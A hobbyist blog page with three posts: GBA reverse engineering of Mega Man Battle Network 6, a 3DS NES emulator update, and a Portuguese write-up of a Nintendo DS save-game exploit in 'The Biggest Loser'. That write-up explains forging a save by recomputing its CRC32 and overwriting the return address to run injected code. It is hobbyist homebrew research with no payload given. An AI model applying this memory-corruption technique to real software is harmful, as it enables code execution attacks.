Posted in Emuladores | Tagged , , | Leave a comment

MMBN6 Reverse Engineering

Hello everyone, it has been a long time since i posted something here, however i will try to post more often with random things that I do/I have done in my free time. For now i will talk about something that i have been working on lately.

Every fan of the Mega Man  series, will probably know that Mega Man Battle Network 6 is for the Game Boy Advance. I really like this game and i wanted to learn more about how the game works. I was searching on Google about ROM Hacks and found a forum with some good information, that is called The Rockman X Zone, There I found some skilled people which are working withMMBN6 as well(For example GreigaMaster made a thread with some addresses and how to write your own custom attack chip !). Anyway, I started digging in the MMBN6 ROM(to be more exact, the cybest falzar one).
To people who aren’t familar with the GBA Architecture, it uses an ARMv4(ARM7TDMI) and is very well documented in GBATek. With documentation in hands, a good dissasembler(i personally like IDA Pro) and NO$GBA Debugger i started looking into the game’s structure. I found some interesting stuff and did some pseudoC and notations(looking at memory while i played the game), All of this can be found in my page dedicated to this dissasembly. I probably won’t finish this project, but I believe that it will help other people that want explore this game engine, i will update whenever i have time !. By the way, if you want explore this world, here some hints:

First of all you will need a good dissasembler, IDA Pro has a plugin with support to ARM processors, You may find it the internet. The second part is knowing how map the memory segments in IDA Pro. You will need use these segments:

08000000 -> Game Code(You may specify this when IDA asks where the code begins).
02000000 -> WRAMo
03000000 -> WRAMc
04000000 -> IOREG
05000000 -> CRAM
06000000 -> VRAM
07000000 -> OAM
0E000000 -> SRAM

So after you map the segments regions, you will need use the debugger version of NO$GBA, which you may find this in their official page, with everything in hand, you may use the breakpoints and try find how each function work, for example: you found a function in IDA Pro which stores information in the OAM(Object Attribute Memory), so you can use a breakpoint in NO$GBA at this address and look at what happen when the function is loaded, the values of registers and what is loaded in the OAM. This way you can figure out in how this funcitons is used.


So that is all, until next time.

Posted in Uncategorized | 2 Comments

The Biggest Loser Exploit

Esses dias estava pensando em treinar um pouco engenharia reversa, então decidi procurar um jogo de Nintendo DS/DSi para fazer isso, fui a uma lista e comecei a verificar alguns jogos que utilizavam string no profile e dei de cara com esse jogo(que inclusive é um DSi Enhanced e tem uma versão Wii se não estou enganado), o jogo não é lá essas coisas interessante, pelo que eu entendi é um jogo para você basicamente chegar ao seu corpo ideal ou peso ideal, de qualquer maneira a ideia é bem por aí haha.

Com o jogo em mãos, utilizei o Desmume para emular, salvei um backup do save e temos apenas 8kb para trabalhar em cima, apesar de ser pouco ainda dá para fazer algumas coisas divertidas. Fui analisar o save e notei algumas coisas importantes, como 4 bytes fixos e 4 bytes que sempre alteravam com qualquer mudança feita no save(poderia ser qualquer tipo de checagem, algo próprio ou um crc, checksum e etc), para descobrir a estrutura do save utilizei o IDA Pro e abri o binário do jogo e comecei a analisar e achei a resposta, não foi uma tarefa difícil(posso dizer que foi algo meio trabalhoso para descobrir), de qualquer maneira a estrutura do save é algo simples, vou listar:

4 Bytes que é o Magic Num “GSID”, caso o jogo não encontre essa string, ele apenas descarta o save
4 Bytes que é um CRC32 com o tamanho do save in game
X Bytes(geralmente 1 byte) que é o tamanho do Save usando in Game

Para editar a string, basta mudar o que você deseja e fazer um CRC32 do tamanho do save a partir desse byte e *bingo*, conseguimos modificar a string, o próximo passo é determinar o endereço onde vai ficar nosso código, como teremos 8kb de EEPROM, você pode selecionar um endereço mais a frente do save, para ficar mais simples, O Desmume tem uma ferramenta para dumpar memória, basta dumpar e verificar com editor hexadecimal onde está seu save e escrever o endereço. O resto é o mesmo, editar a string e verificar o momento que o LR é re-escrito e depois saltar para sua região de código, o resultado ?

De qualquer forma, você tem 8kb para brincar com código, eu não tenho muito conhecimento com o DS/DSi, então não consegui fazer muita coisas impressionante, além disso procurei saber se jogos DSI Enhanced e até onde sei, o acesso ao SD é desativado quando o jogo inicializa.

Para quem quiser testar,:

Posted in Exploit DS/DSi | Tagged , , , | Leave a comment

3DNES Update e Férias

Finalmente férias, depois de um semestre cansativo chegou a hora de aproveitar esse pequeno intervalo para aprimorar meu conhecimento (principalmente na área de eletrônica e exploit, haha), mas de qualquer forma o foco dessa publicação não foi falar do passa tempo das férias e sim do meu hobby na área da emulação.

Para quem não sabe eu e o gdkchan escrevemos um emulador de NES para Nintendo 3DS, que por sinal fez um ótimo sucesso, porém na época por motivos de falta de conhecimento e documentação ele era/é lento em alguns jogos e de certa forma isso é irritante, mesmo implementando frameskip em alguns jogos a velocidade não melhora muito(principalmente jogos que utilizam o mapper MMC3 como Mega Man 3,4,5 e 6), então uma maneira que vi observando(que é utilizado pelo blargSNES) é escrever a CPU em Assembly, porém utilizando um pequeno *truque* para deixar a CPU mais rápida, mas antes de falar do truque, vamos falar um pouco sobre a CPU do NES:

O NES utiliza uma CPU semelhante ao MOS 6502 (podemos dizer que é uma versão personalizada dessa CPU) feita pela Ricoh e funciona a velocidade +- ~= 1.8mhz, possui registradores com 8 bits (X, Y, A, SP, SR) e o PC tem 16 bits e tem 11 addressing modes, é uma CPU simples e ótima para quem deseja iniciar na área da emulação.

Sabendo da estrutura da CPU do NES, fica mais fácil de entender o truque, basicamente para todas as operações realizadas no nosso interpretador (não é possível fazer JIT no 3DS por que o núcleo que roda os jogos tem NX Bit e não permite alocarmos e executarmos páginas, anyway), o truque é fazer todas as operações do nosso interpretador utilizando os registradores do ARM (como se fossem nossos registradores), que é basicamente toda vez que a CPU for ser executada, carregamos todos os registradores do *NES* da memória para os registradores do ARM e realizamos todas as operações em cima deles (vale também ressaltar que além do ganho de velocidade, fica mais fácil realizar optimizações no código, mesmo o compilador *sendo inteligente*, existe maneiras de deixar o código melhor). Além desse pequeno truque, outro ponto importante que estou focando é escrever todos os mappers em Assembly.

Enfim, esse é o pequeno progresso que estou tendo com o emulador, fora as dicas que recebi de várias pessoas e pedidos para implementar, ao finalizar toda a implementação da CPU irei da um foco no Disk System e na APU, de qualquer maneira, falarei mais sobre o progresso do emulador aqui.

Posted in Emuladores | Tagged , | Leave a comment